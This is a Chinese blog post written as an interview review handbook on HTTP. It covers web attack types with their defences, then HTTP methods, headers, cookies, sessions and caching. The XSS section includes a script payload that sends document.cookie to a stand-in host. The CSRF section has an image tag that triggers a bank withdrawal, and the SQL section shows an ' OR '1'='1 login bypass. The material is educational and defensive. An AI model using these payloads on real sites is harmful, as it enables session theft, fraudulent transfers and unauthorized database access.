HTTP應知應會知識點複習手冊（下）

qqxx6661發表於2019-02-15
HTTP

HTTP應知應會知識點複習手冊

前言

本文快速回顧了常考的的知識點，用作面試複習，事半功倍。

面試知識點複習手冊

全複習手冊文章導航

Csdn全複習手冊文章導航：

blog.csdn.net/qqxx6661/ar…

已釋出知識點複習手冊

本文參考

本文內容主要參考來自CyC2018的Github倉庫：CS-Notes

有刪減，修改，補充額外增加內容

本作品採用知識共享署名-非商業性使用 4.0 國際許可協議進行許可。

--------------------正文-----------------------

Web 攻擊技術

跨站指令碼攻擊XSS

還可參考：blog.csdn.net/lpjishu/art…

1. 概念

跨站指令碼攻擊（Cross-Site Scripting, XSS），可以將程式碼注入到使用者瀏覽的網頁上，這種程式碼包括 HTML 和 JavaScript。

例如有一個論壇網站，攻擊者可以在上面釋出以下內容：

<script>location.href="//domain.com/?c=" + document.cookie</script>
複製程式碼

之後該內容可能會被渲染成以下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
複製程式碼

另一個使用者瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理使用者登入狀態，那麼攻擊者就可以通過這個 Cookie 登入被攻擊者的賬號了。

2. 危害

  • 竊取使用者的 Cookie 值
  • 偽造虛假的輸入表單騙取個人資訊
  • 顯示偽造的文章或者圖片

3. 防範手段

（一）設定 Cookie 為 HttpOnly

設定了 HttpOnly 的 Cookie 可以防止 JavaScript 指令碼呼叫，在一定程度上可以防止 XSS 竊取使用者的 Cookie 資訊。

（二）過濾特殊字元

許多語言都提供了對 HTML 的過濾：

  • PHP 的 htmlentities() 或是 htmlspecialchars()。
  • Python 的 cgi.escape()。
  • Java 的 xssprotect (Open Source Library)。
  • Node.js 的 node-validator。

例如 htmlspecialchars() 可以將 < 轉義為 &lt;，將 > 轉義為 &gt;，從而避免 HTML 和 Javascript 程式碼的執行。

（三）富文字編輯器的處理

富文字編輯器允許使用者輸入 HTML 程式碼，就不能簡單地將 < 等字元進行過濾了，極大地提高了 XSS 攻擊的可能性。

富文字編輯器通常採用 XSS filter 來防範 XSS 攻擊，可以定義一些標籤白名單或者黑名單，從而不允許有攻擊性的 HTML 程式碼的輸入。

以下例子中，form 和 script 等標籤都被轉義，而 h 和 p 等標籤將會保留。

XSS 過濾線上測試

跨站請求偽造CSRF

XSS 利用的是使用者對指定網站的信任，CSRF 利用的是網站對使用者瀏覽器的信任。

1. 概念

跨站請求偽造（Cross-site request forgery，CSRF），是攻擊者通過一些技術手段欺騙使用者的瀏覽器去訪問一個自己曾經認證過的網站並執行一些操作（如發郵件，發訊息，甚至財產操作如轉賬和購買商品）。由於瀏覽器曾經認證過，所以被訪問的網站會認為是真正的使用者操作而去執行。這利用了 Web 中使用者身份驗證的一個漏洞：簡單的身份驗證只能保證請求發自某個使用者的瀏覽器，卻不能保證請求本身是使用者自願發出的。

假如一家銀行用以執行轉賬操作的 URL 地址如下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
複製程式碼

那麼，一個惡意攻擊者可以在另一個網站上放置如下程式碼：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
複製程式碼

如果有賬戶名為 Alice 的使用者訪問了惡意站點，而她之前剛訪問過銀行不久，登入資訊尚未過期，那麼她就會損失 1000 資金。

這種惡意的網址可以有很多種形式，藏身於網頁中的許多地方。此外，攻擊者也不需要控制放置惡意網址的網站。例如他可以將這種地址藏在論壇，部落格等任何使用者生成內容的網站中。這意味著如果伺服器端沒有合適的防禦措施的話，使用者即使訪問熟悉的可信網站也有受攻擊的危險。

透過例子能夠看出，攻擊者並不能通過 CSRF 攻擊來直接獲取使用者的賬戶控制權，也不能直接竊取使用者的任何資訊。他們能做到的，是欺騙使用者瀏覽器，讓其以使用者的名義執行操作。

2. 防範手段

（一）檢查 Referer 欄位

HTTP 頭中有一個 Referer 欄位，這個欄位用於標明請求來源於哪個地址。在處理敏感資料請求時，通常來說，Referer 欄位應和請求的地址位於同一域名下，但並無法保證來訪的瀏覽器的具體實現，亦無法保證瀏覽器沒有安全漏洞影響到此欄位。並且也存在攻擊者攻擊某些瀏覽器，篡改其 Referer 欄位的可能。

（二）新增校驗 Token

由於 CSRF 的本質在於攻擊者欺騙使用者去訪問自己設定的地址，所以如果要求在訪問敏感資料請求時，要求使用者瀏覽器提供不儲存在 Cookie 中，並且攻擊者無法偽造的資料作為校驗，那麼攻擊者就無法再執行 CSRF 攻擊。這種資料通常是表單中的一個資料項。伺服器將其生成並附加在表單中，其內容是一個偽亂數。當客戶端通過表單提交請求時，這個偽亂數也一併提交上去以供校驗。

正常的訪問時，客戶端瀏覽器能夠正確得到並傳回這個偽亂數，而通過 CSRF 傳來的欺騙性攻擊中，攻擊者無從事先得知這個偽亂數的值，伺服器端就會因為校驗 Token 的值為空或者錯誤，拒絕這個可疑請求。

（三）要求使用者輸入驗證碼來進行校驗。

SQL 注入攻擊

1. 概念

伺服器上的資料庫執行非法的 SQL 語句，主要通過拼接來完成。

2. 攻擊原理

例如一個網站登入驗證的 SQL 查詢程式碼為：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
複製程式碼

如果填入以下內容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
複製程式碼

那麼 SQL 查詢字串為：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
複製程式碼

此時無需驗證通過就能執行以下查詢：

strSQL = "SELECT * FROM users;"
複製程式碼

3. 防範手段

（一）使用引數化查詢（不進行拼接）

以下以 Java 中的 PreparedStatement 為例，它是預先編譯的 SQL 語句，可以傳入適當引數並且多次執行。由於沒有拼接的過程，因此可以防止 SQL 注入的發生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
複製程式碼

（二）單引號轉換

將傳入的引數中的單引號轉換為連續兩個單引號

（三）檢查變數資料型別和格式

拒絕服務攻擊

拒絕服務攻擊（denial-of-service attack，DoS），亦稱洪水攻擊，其目的在於使目標電腦的網路或系統資源耗盡，使服務暫時中斷或停止，導致其正常使用者無法訪問。

分散式拒絕服務攻擊（distributed denial-of-service attack，DDoS），指攻擊者使用網路上兩個或以上被攻陷的電腦作為“殭屍”向特定的目標發動“拒絕服務”式攻擊。

維基百科：拒絕服務攻擊

基礎概念

URI

URI 包含 URL 和 URN。

  • URI（Uniform Resource Identifier，統一資源識別符號）
  • URL（Uniform Resource Locator，統一資源定位符）
  • URN（Uniform Resource Name，統一資源名稱）

在這裡插入圖片描述

HTTP請求報文和HTTP響應報文

HTTP請求報文

一個HTTP請求報文由請求行（request line）、請求頭部（header）、空行和請求資料4個部分組成，下圖給出了請求報文的一般格式。

＜request-line＞ 請求行
＜headers＞ 請求頭
＜blank line＞ 空格
＜request-body＞ 請求資料
複製程式碼

在這裡插入圖片描述
HTTP響應報文

HTTP響應也由三個部分組成，分別是：狀態行、訊息報頭、響應正文。

＜status-line＞
＜headers＞
＜blank line＞
＜response-body＞
複製程式碼

在這裡插入圖片描述

GET

獲取資源

當前網路請求中，絕大部分使用的是 GET 方法。

HEAD

獲取報文首部

和 GET 方法一樣，但是不返回報文實體主體部分。

主要用於確認 URL 的有效性以及資源更新的日期時間等。

POST

傳輸實體主體

POST 主要用來傳輸資料，而 GET 主要用來獲取資源。

更多 POST 與 GET 的比較請見第八章。

PUT

上傳檔案

由於自身不帶驗證機制，任何人都可以上傳檔案，因此存在安全性問題，一般不使用該方法

PATCH

對資源進行部分修改

PUT 也可以用於修改資源，但是隻能完全替代原始資源，PATCH 允許部分修改。

DELETE

刪除檔案

與 PUT 功能相反，並且同樣不帶驗證機制。

DELETE /file.html HTTP/1.1
複製程式碼

OPTIONS

查詢支援的方法

查詢指定的 URL 能夠支援的方法。

會返回 Allow: GET, POST, HEAD, OPTIONS 這樣的內容。

CONNECT

要求用隧道協議連線代理

要求在與代理伺服器通訊時建立隧道，使用 SSL（Secure Sockets Layer，安全套接層）和 TLS（Transport Layer Security，傳輸層安全）協議把通訊內容加密後經網路隧道傳輸。

在這裡插入圖片描述

TRACE

追蹤路徑

伺服器會將通訊路徑返回給客戶端。

傳送請求時，在 Max-Forwards 首部欄位中填入數值，每經過一個伺服器就會減 1，當數值為 0 時就停止傳輸。

通常不會使用 TRACE，並且它容易受到 XST 攻擊（Cross-Site Tracing，跨站追蹤），因此更不會去使用它。

HTTP Header

有 4 種型別的首部欄位：通用首部欄位、請求首部欄位、響應首部欄位和實體首部欄位。

各種首部欄位及其含義如下（不需要全記，僅供查閱）：

通用首部欄位

首部欄位名 說明
Cache-Control 控制快取的行為
Connection 控制不再轉發給代理的首部欄位、管理持久連線
Date 建立報文的日期時間
Pragma 報文指令
Trailer 報文末端的首部一覽
Transfer-Encoding 指定報文主體的傳輸編碼方式
Upgrade 升級為其他協議
Via 代理伺服器的相關資訊
Warning 錯誤通知

請求首部欄位

首部欄位名 說明
Accept 使用者代理可處理的媒體型別
Accept-Charset 優先的字符集
Accept-Encoding 優先的內容編碼
Accept-Language 優先的語言（自然語言）
Authorization Web 認證資訊
Expect 期待伺服器的特定行為
From 使用者的電子郵箱地址
Host 請求資源所在伺服器
If-Match 比較實體標記（ETag）
If-Modified-Since 比較資源的更新時間
If-None-Match 比較實體標記（與 If-Match 相反）
If-Range 資源未更新時傳送實體 Byte 的範圍請求
If-Unmodified-Since 比較資源的更新時間（與 If-Modified-Since 相反）
Max-Forwards 最大傳輸逐跳數
Proxy-Authorization 代理伺服器要求客戶端的認證資訊
Range 實體的位元組範圍請求
Referer 對請求中 URI 的原始獲取方
TE 傳輸編碼的優先順序
User-Agent HTTP 客戶端程式的資訊

響應首部欄位

首部欄位名 說明
Accept-Ranges 是否接受位元組範圍請求
Age 推算資源建立經過時間
ETag 資源的匹配資訊
Location 令客戶端重定向至指定 URI
Proxy-Authenticate 代理伺服器對客戶端的認證資訊
Retry-After 對再次發起請求的時機要求
Server HTTP 伺服器的安裝資訊
Vary 代理伺服器快取的管理資訊
WWW-Authenticate 伺服器對客戶端的認證資訊

實體首部欄位

首部欄位名 說明
Allow 資源可支援的 HTTP 方法
Content-Encoding 實體主體適用的編碼方式
Content-Language 實體主體的自然語言
Content-Length 實體主體的大小
Content-Location 替代對應資源的 URI
Content-MD5 實體主體的報文摘要
Content-Range 實體主體的位置範圍
Content-Type 實體主體的媒體型別
Expires 實體主體過期的日期時間
Last-Modified 資源的最後修改日期時間

具體應用

Cookie

HTTP/1.1 引入 Cookie 來儲存狀態資訊。

1. 用途

  • 會話狀態管理（如使用者登入狀態、購物車、遊戲分數或其它需要記錄的資訊）
  • 個性化設定（如使用者自定義設定、主題等）
  • 瀏覽器行為跟蹤（如跟蹤分析使用者行為等）

由於伺服器指定 Cookie 後，瀏覽器的每次請求都會攜帶 Cookie 資料，會帶來額外的效能開銷（尤其是在移動環境下）。

新的瀏覽器 API 已經允許開發者直接將資料儲存到本地，如使用 Web storage API （本地儲存和會話儲存）或 IndexedDB。

2. 建立過程

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
複製程式碼

客戶端之後對同一個伺服器傳送請求時，會從瀏覽器中取出 Cookie 資訊並通過 Cookie 請求首部欄位傳送給伺服器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
複製程式碼

3. 分類

  • 會話期 Cookie：瀏覽器關閉之後它會被自動刪除，也就是說它僅在會話期內有效。
  • 永續性 Cookie：指定一個特定的過期時間（Expires）或有效期（Max-Age）之後就成為了永續性的 Cookie。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製程式碼

4. 作用域

Domain 標識指定了哪些主機可以接受 Cookie。如果不指定，預設為當前文件的主機（不包含子域名）。如果指定了 Domain，則一般包含子域名。例如，如果設定 Domain=mozilla.org，則 Cookie 也包含在子域名中（如 developer.mozilla.org）。

Path 標識指定了主機下的哪些路徑可以接受 Cookie（該 URL 路徑必須存在於請求 URL 中）。以字元 %x2F ("/") 作為路徑分隔符，子路徑也會被匹配。例如，設定 Path=/docs，則以下地址都會匹配：

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

5. JavaScript

通過 Document.cookie 屬性可建立新的 Cookie，也可通過該屬性訪問非 HttpOnly 標記的 Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
複製程式碼

6. Secure 和 HttpOnly

  • 標記為 Secure 的 Cookie 只應通過被 HTTPS 協議加密過的請求傳送給服務端。但即便設定了 Secure 標記，敏感資訊也不應該通過 Cookie 傳輸，因為 Cookie 有其固有的不安全性，Secure 標記也無法提供確實的安全保障。

  • 標記為 HttpOnly 的 Cookie 不能被 JavaScript 指令碼呼叫。因為跨域指令碼 (XSS) 攻擊常常使用 JavaScript 的 Document.cookie API 竊取使用者的 Cookie 資訊，因此使用 HttpOnly 標記可以在一定程度上避免 XSS 攻擊。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
複製程式碼

7. Session和cookie選擇

除了可以將使用者資訊通過 Cookie 儲存在使用者瀏覽器中，也可以利用 Session 儲存在伺服器端，儲存在伺服器端的資訊更加安全。

Session 可以儲存在伺服器上的檔案、資料庫或者記憶體中。也可以將 Session 儲存在 Redis 這種記憶體型資料庫中，效率會更高。

使用 Session 維護使用者登入狀態的過程如下：

  • 使用者進行登入時，使用者提交包含使用者名稱和密碼的表單，放入 HTTP 請求報文中；
  • 伺服器驗證該使用者名稱和密碼，如果正確則把使用者資訊儲存到 Redis 中，它在 Redis 中的 Key 稱為 Session ID；
  • 伺服器返回的響應報文的 Set-Cookie 首部欄位包含了這個 Session ID，客戶端收到響應報文之後將該 Cookie 值存入瀏覽器中；
  • 客戶端之後對同一個伺服器進行請求時會包含該 Cookie 值，伺服器收到之後提取出 Session ID，從 Redis 中取出使用者資訊，繼續之前的業務操作。

應該注意 Session ID 的安全性問題，不能讓它被惡意攻擊者輕易獲取，那麼就不能產生一個容易被猜到的 Session ID 值。此外，還需要經常重新生成 Session ID。在對安全性要求極高的場景下，例如轉賬等操作，除了使用 Session 管理使用者狀態之外，還需要對使用者進行重新驗證，比如重新輸入密碼，或者使用簡訊驗證碼等方式。

  • 從儲存方式上比較
    • Cookie只能儲存字串，如果要儲存非ASCII字串還要對其編碼。
    • Session可以儲存任何型別的資料，可以把Session看成是一個容器
  • 從隱私安全上比較
    • Cookie儲存在瀏覽器中，對客戶端是可見的。資訊容易洩露出去。如果使用Cookie，最好將Cookie加密
    • Session儲存在伺服器上，對客戶端是透明的。不存在敏感資訊洩露問題。
  • 從有效期上比較
    • Cookie儲存在硬碟中，只需要設定maxAge屬性為比較大的正整數，即使關閉瀏覽器，Cookie還是存在的
    • Session的儲存在伺服器中，設定maxInactiveInterval屬性值來確定Session的有效期。並且Session依賴於名為JSESSIONID的Cookie，該Cookie預設的maxAge屬性為-1。如果關閉了瀏覽器，該Session雖然沒有從伺服器中消亡，但也就失效了。
  • 從對伺服器的負擔比較
    • Session是儲存在伺服器的，每個使用者都會產生一個Session，如果是併發訪問的使用者非常多，是不能使用Session的，Session會消耗大量的記憶體。
    • Cookie是儲存在客戶端的。不佔用伺服器的資源。像baidu、Sina這樣的大型網站，一般都是使用Cookie來進行會話跟蹤。
  • 從瀏覽器的支援上比較
    • 如果瀏覽器禁用了Cookie，那麼Cookie是無用的了！
    • 如果瀏覽器禁用了Cookie，Session可以通過URL地址重寫來進行會話跟蹤。
  • 從跨域名上比較
    • Cookie可以設定domain屬性來實現跨域名
    • Session只在當前的域名內有效，不可誇域名

快取

1. 優點

  • 緩解伺服器壓力；
  • 減低客戶端獲取資源的延遲（快取資源比伺服器上的資源離客戶端更近）。

2. 實現方法

  • 讓代理伺服器進行快取；
  • 讓客戶端瀏覽器進行快取。

3. Cache-Control

HTTP/1.1 通過 Cache-Control 首部欄位來控制快取。

（一）禁止進行快取

no-store 指令規定不能對請求或響應的任何一部分進行快取。

Cache-Control: no-store
複製程式碼

（二）強制確認快取

no-cache 指令規定快取伺服器需要先向源伺服器驗證快取資源的有效性，只有當快取資源有效才將能使用該快取對客戶端的請求進行響應。

Cache-Control: no-cache
複製程式碼

（三）私有快取和公共快取

private 指令規定了將資源作為私有快取，只能被單獨使用者所使用，一般儲存在使用者瀏覽器中。

Cache-Control: private
複製程式碼

public 指令規定了將資源作為公共快取，可以被多個使用者所使用，一般儲存在代理伺服器中。

Cache-Control: public
複製程式碼

（四）快取過期機制

max-age 指令出現在請求報文中，並且快取資源的快取時間小於該指令指定的時間，那麼就能接受該快取。

max-age 指令出現在響應報文中，表示快取資源在快取伺服器中儲存的時間。

Cache-Control: max-age=31536000
複製程式碼

Expires 欄位也可以用於告知快取伺服器該資源什麼時候會過期。在 HTTP/1.1 中，會優先處理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令會被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT
複製程式碼

4. 快取驗證

需要先了解 ETag 首部欄位的含義，它是資源的唯一表示。URL 不能唯一表示資源，例如 http://www.google.com/ 有中文和英文兩個資源，只有 ETag 才能對這兩個資源進行唯一表示。

ETag: "82e22293907ce725faf67773957acd12"
複製程式碼

可以將快取資源的 ETag 值放入 If-None-Match 首部，伺服器收到該請求後，判斷快取資源的 ETag 值和資源的最新 ETag 值是否一致，如果一致則表示快取資源有效，返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"
複製程式碼

Last-Modified 首部欄位也可以用於快取驗證，它包含在源伺服器傳送的響應報文中，指示源伺服器對資源的最後修改時間。但是它是一種弱校驗器，因為只能精確到一秒，所以它通常作為 ETag 的備用方案。如果響應首部欄位裡含有這個資訊，客戶端可以在後續的請求中帶上 If-Modified-Since 來驗證快取。伺服器只在所請求的資源在給定的日期時間之後對內容進行過修改的情況下才會將資源返回，狀態碼為 200 OK。如果請求的資源從那時起未經修改，那麼返回一個不帶有訊息主體的 304 Not Modified 響應，

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
複製程式碼
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
複製程式碼

連線管理

1. 短連線與長連線

  • HTTP/1.1 開始預設是長連線的，如果要斷開連線，需要由客戶端或者伺服器端提出斷開，使用 Connection : close；
  • HTTP/1.1 之前預設是短連線的，如果需要長連線，則使用 Connection : Keep-Alive。

2. 流水線

預設情況下，HTTP 請求是按順序發出的，下一個請求只有在當前請求收到應答過後才會被髮出。由於會受到網路延遲和頻寬的限制，在下一個請求被髮送到伺服器之前，可能需要等待很長時間。

流水線是在同一條長連線上發出連續的請求，而不用等待響應返回，這樣可以避免連線延遲。

內容協商

通過內容協商返回最合適的內容，例如根據瀏覽器的預設語言選擇返回中文介面還是英文介面。

1. 型別

1.1 服務端驅動型

客戶端設定特定的 HTTP 首部欄位，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，伺服器根據這些欄位返回特定的資源。

它存在以下問題：

  • 伺服器很難知道客戶端瀏覽器的全部資訊；
  • 客戶端提供的資訊相當冗長（HTTP/2 協議的首部壓縮機制緩解了這個問題），並且存在隱私風險（HTTP 指紋識別技術）；
  • 給定的資源需要返回不同的展現形式，共享快取的效率會降低，而伺服器端的實現會越來越複雜。

1.2 代理驅動型

伺服器返回 300 Multiple Choices 或者 406 Not Acceptable，客戶端從中選出最合適的那個資源。

2. Vary

Vary: Accept-Language
複製程式碼

在使用內容協商的情況下，只有當快取伺服器中的快取滿足內容協商條件時，才能使用該快取，否則應該向源伺服器請求該資源。

例如，一個客戶端傳送了一個包含 Accept-Language 首部欄位的請求之後，源伺服器返回的響應包含 Vary: Accept-Language 內容，快取伺服器對這個響應進行快取之後，在客戶端下一次訪問同一個 URL 資源，並且 Accept-Language 與快取中的對應的值相同時才會返回該快取。

內容編碼

內容編碼將實體主體進行壓縮，從而減少傳輸的資料量。常用的內容編碼有：gzip、compress、deflate、identity。

瀏覽器傳送 Accept-Encoding 首部，其中包含有它所支援的壓縮演算法，以及各自的優先順序，伺服器則從中選擇一種，使用該演算法對響應的訊息主體進行壓縮，並且傳送 Content-Encoding 首部來告知瀏覽器它選擇了哪一種演算法。由於該內容協商過程是基於編碼型別來選擇資源的展現形式的，在響應中，Vary 首部中至少要包含 Content-Encoding，這樣的話，快取伺服器就可以對資源的不同展現形式進行快取。

範圍請求

如果網路出現中斷，伺服器只傳送了一部分資料，範圍請求可以使得客戶端只請求伺服器未傳送的那部分資料，從而避免伺服器重新傳送所有資料。

1. Range

在請求報文中新增 Range 首部欄位指定請求的範圍。

GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023
複製程式碼

請求成功的話伺服器返回的響應包含 206 Partial Content 狀態碼。

2. Accept-Ranges

響應首部欄位 Accept-Ranges 用於告知客戶端是否能處理範圍請求，可以處理使用 bytes，否則使用 none。

Accept-Ranges: bytes
複製程式碼

3. 響應狀態碼

  • 在請求成功的情況下，伺服器會返回 206 Partial Content 狀態碼。
  • 在請求的範圍越界的情況下，伺服器會返回 416 Requested Range Not Satisfiable 狀態碼。
  • 在不支援範圍請求的情況下，伺服器會返回 200 OK 狀態碼。

分塊傳輸編碼

Chunked Transfer Coding，可以把資料分割成多塊，讓瀏覽器逐步顯示頁面。

多部分物件集合

一份報文主體內可含有多種型別的實體同時傳送，每個部分之間用 boundary 欄位定義的分隔符進行分隔，每個部分都可以有首部欄位。

例如，上傳多個表單時可以使用如下方式：

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain

... contents of file1.txt ...
--AaB03x--
複製程式碼

虛擬主機

HTTP/1.1 使用虛擬主機技術，使得一臺伺服器擁有多個域名，並且在邏輯上可以看成多個伺服器。

通訊資料轉發

1. 代理

代理伺服器接受客戶端的請求，並且轉發給其它伺服器。

使用代理的主要目的是：

  • 快取
  • 負載均衡
  • 網路訪問控制
  • 訪問日誌記錄

代理伺服器分為正向代理和反向代理兩種：

  • 使用者察覺得到正向代理的存在。

  • 而反向代理一般位於內部網路中，使用者察覺不到。

2. 閘道器

與代理伺服器不同的是，閘道器伺服器會將 HTTP 轉化為其它協議進行通訊，從而請求其它非 HTTP 伺服器的服務。

3. 隧道

使用 SSL 等加密手段，為客戶端和伺服器之間建立一條安全的通訊線路。

--------------------正文完-----------------------

關注我

我是蠻三刀把刀，目前為後臺開發工程師。主要關注後臺開發，網路安全，Python爬蟲等技術。

來微信和我聊聊：yangzd1102

Github：github.com/qqxx6661

原創部落格主要內容

  • 筆試面試複習知識點手冊
  • Leetcode演算法題解析（前150題）
  • 劍指offer演算法題解析
  • Python爬蟲相關技術分析和實戰
  • 後臺開發相關技術分析和實戰

同步更新以下部落格

1. Csdn

blog.csdn.net/qqxx6661

擁有專欄：Leetcode題解（Java/Python）、Python爬蟲開發、面試助攻手冊

2. 知乎

www.zhihu.com/people/yang…

擁有專欄：碼農面試助攻手冊

3. 掘金

juejin.im/user/5b4801…

4. 簡書

www.jianshu.com/u/b5f225ca2…

個人公眾號：Rude3Knife

個人公眾號：Rude3Knife

如果文章對你有幫助，不妨收藏起來並轉發給您的朋友們~

相關文章